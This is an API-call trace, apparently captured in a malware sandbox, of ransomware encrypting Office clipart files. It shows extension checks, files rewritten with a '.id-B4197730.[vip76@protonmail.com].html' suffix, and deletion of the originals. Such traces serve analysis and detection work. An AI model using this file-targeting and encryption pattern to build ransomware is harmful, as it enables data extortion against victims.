	[0200.965] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x6b01, lpOverlapped=0x0) returned 1
	[0201.385] WriteFile (in: hFile=0x5d8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x6b10, lpOverlapped=0x0) returned 1
	[0201.587] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.587] WriteFile (in: hFile=0x5d8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.587] SetEndOfFile (hFile=0x5d8) returned 1
	[0201.593] CloseHandle (hObject=0x5d8) returned 1
	[0201.594] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.610] SetEndOfFile (hFile=0x554) returned 1
	[0201.629] CloseHandle (hObject=0x554) returned 1
	[0201.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1
	[0201.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.631] lstrlenW (lpString=".doc") returned 4
	[0201.631] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.631] lstrlenW (lpString=".docx") returned 5
	[0201.631] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0201.631] lstrlenW (lpString=".pdf") returned 4
	[0201.631] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.631] lstrlenW (lpString=".xls") returned 4
	[0201.631] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.631] lstrlenW (lpString=".xlsx") returned 5
	[0201.631] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0201.631] lstrlenW (lpString=".ppt") returned 4
	[0201.631] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.631] lstrlenW (lpString=".zip") returned 4
	[0201.631] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.631] lstrlenW (lpString=".rar") returned 4
	[0201.631] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.631] lstrlenW (lpString=".bz2") returned 4
	[0201.631] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.631] lstrlenW (lpString=".7z") returned 3
	[0201.631] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.631] lstrlenW (lpString=".dbf") returned 4
	[0201.631] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.631] lstrlenW (lpString=".1cd") returned 4
	[0201.631] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.631] lstrlenW (lpString=".jpg") returned 4
	[0201.631] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.632] lstrlenW (lpString=".doc") returned 4
	[0201.632] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.632] lstrlenW (lpString=".docx") returned 5
	[0201.632] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0201.632] lstrlenW (lpString=".pdf") returned 4
	[0201.632] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.632] lstrlenW (lpString=".xls") returned 4
	[0201.632] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.632] lstrlenW (lpString=".xlsx") returned 5
	[0201.632] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0201.632] lstrlenW (lpString=".ppt") returned 4
	[0201.632] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.632] lstrlenW (lpString=".zip") returned 4
	[0201.632] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.632] lstrlenW (lpString=".rar") returned 4
	[0201.632] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.632] lstrlenW (lpString=".bz2") returned 4
	[0201.632] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.632] lstrlenW (lpString=".7z") returned 3
	[0201.632] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.632] lstrlenW (lpString=".dbf") returned 4
	[0201.632] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.632] lstrlenW (lpString=".1cd") returned 4
	[0201.632] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0201.632] lstrlenW (lpString=".jpg") returned 4
	[0201.632] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.633] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.633] lstrlenW (lpString="J0151041.WMF") returned 12
	[0201.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0201.634] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4356) returned 1
	[0201.634] CloseHandle (hObject=0x554) returned 1
	[0201.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220
	[0201.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0201.634] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.635] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0201.635] GetLastError () returned 0x0
	[0201.635] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1104, lpOverlapped=0x0) returned 1
	[0201.637] WriteFile (in: hFile=0x5d8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1110, lpOverlapped=0x0) returned 1
	[0201.638] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.638] WriteFile (in: hFile=0x5d8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.639] SetEndOfFile (hFile=0x5d8) returned 1
	[0201.639] CloseHandle (hObject=0x5d8) returned 1
	[0201.639] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.639] SetEndOfFile (hFile=0x554) returned 1
	[0201.641] CloseHandle (hObject=0x554) returned 1
	[0201.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1
	[0201.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.642] lstrlenW (lpString=".doc") returned 4
	[0201.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString=".docx") returned 5
	[0201.643] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0201.643] lstrlenW (lpString=".pdf") returned 4
	[0201.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString=".xls") returned 4
	[0201.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.643] lstrlenW (lpString=".xlsx") returned 5
	[0201.643] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0201.643] lstrlenW (lpString=".ppt") returned 4
	[0201.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.643] lstrlenW (lpString=".zip") returned 4
	[0201.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.643] lstrlenW (lpString=".rar") returned 4
	[0201.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString=".bz2") returned 4
	[0201.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString=".7z") returned 3
	[0201.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.643] lstrlenW (lpString=".dbf") returned 4
	[0201.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.643] lstrlenW (lpString=".1cd") returned 4
	[0201.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.643] lstrlenW (lpString=".jpg") returned 4
	[0201.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.643] lstrlenW (lpString=".doc") returned 4
	[0201.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString=".docx") returned 5
	[0201.644] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0201.644] lstrlenW (lpString=".pdf") returned 4
	[0201.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString=".xls") returned 4
	[0201.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.644] lstrlenW (lpString=".xlsx") returned 5
	[0201.644] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0201.644] lstrlenW (lpString=".ppt") returned 4
	[0201.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.644] lstrlenW (lpString=".zip") returned 4
	[0201.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.644] lstrlenW (lpString=".rar") returned 4
	[0201.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString=".bz2") returned 4
	[0201.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString=".7z") returned 3
	[0201.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.644] lstrlenW (lpString=".dbf") returned 4
	[0201.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.644] lstrlenW (lpString=".1cd") returned 4
	[0201.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0201.644] lstrlenW (lpString=".jpg") returned 4
	[0201.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.644] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.645] lstrlenW (lpString="J0151045.WMF") returned 12
	[0201.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0201.645] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=15464) returned 1
	[0201.645] CloseHandle (hObject=0x554) returned 1
	[0201.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220
	[0201.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0201.646] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.646] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0201.647] GetLastError () returned 0x0
	[0201.647] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x3c68, lpOverlapped=0x0) returned 1
	[0201.649] WriteFile (in: hFile=0x5d8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x3c70, lpOverlapped=0x0) returned 1
	[0201.650] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.650] WriteFile (in: hFile=0x5d8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.650] SetEndOfFile (hFile=0x5d8) returned 1
	[0201.651] CloseHandle (hObject=0x5d8) returned 1
	[0201.651] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.651] SetEndOfFile (hFile=0x554) returned 1
	[0201.653] CloseHandle (hObject=0x554) returned 1
	[0201.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1
	[0201.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.655] lstrlenW (lpString=".doc") returned 4
	[0201.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.655] lstrlenW (lpString=".docx") returned 5
	[0201.655] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0201.655] lstrlenW (lpString=".pdf") returned 4
	[0201.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.655] lstrlenW (lpString=".xls") returned 4
	[0201.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.655] lstrlenW (lpString=".xlsx") returned 5
	[0201.655] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0201.655] lstrlenW (lpString=".ppt") returned 4
	[0201.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.656] lstrlenW (lpString=".zip") returned 4
	[0201.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.656] lstrlenW (lpString=".rar") returned 4
	[0201.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString=".bz2") returned 4
	[0201.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString=".7z") returned 3
	[0201.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.656] lstrlenW (lpString=".dbf") returned 4
	[0201.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.656] lstrlenW (lpString=".1cd") returned 4
	[0201.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.656] lstrlenW (lpString=".jpg") returned 4
	[0201.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.656] lstrlenW (lpString=".doc") returned 4
	[0201.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString=".docx") returned 5
	[0201.656] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0201.656] lstrlenW (lpString=".pdf") returned 4
	[0201.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString=".xls") returned 4
	[0201.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.656] lstrlenW (lpString=".xlsx") returned 5
	[0201.656] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0201.656] lstrlenW (lpString=".ppt") returned 4
	[0201.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.657] lstrlenW (lpString=".zip") returned 4
	[0201.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.657] lstrlenW (lpString=".rar") returned 4
	[0201.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.657] lstrlenW (lpString=".bz2") returned 4
	[0201.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.657] lstrlenW (lpString=".7z") returned 3
	[0201.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.657] lstrlenW (lpString=".dbf") returned 4
	[0201.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.657] lstrlenW (lpString=".1cd") returned 4
	[0201.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0201.657] lstrlenW (lpString=".jpg") returned 4
	[0201.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.657] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.657] lstrlenW (lpString="J0151047.WMF") returned 12
	[0201.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0201.658] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18500) returned 1
	[0201.658] CloseHandle (hObject=0x554) returned 1
	[0201.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220
	[0201.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0201.659] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.659] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0202.067] GetLastError () returned 0x0
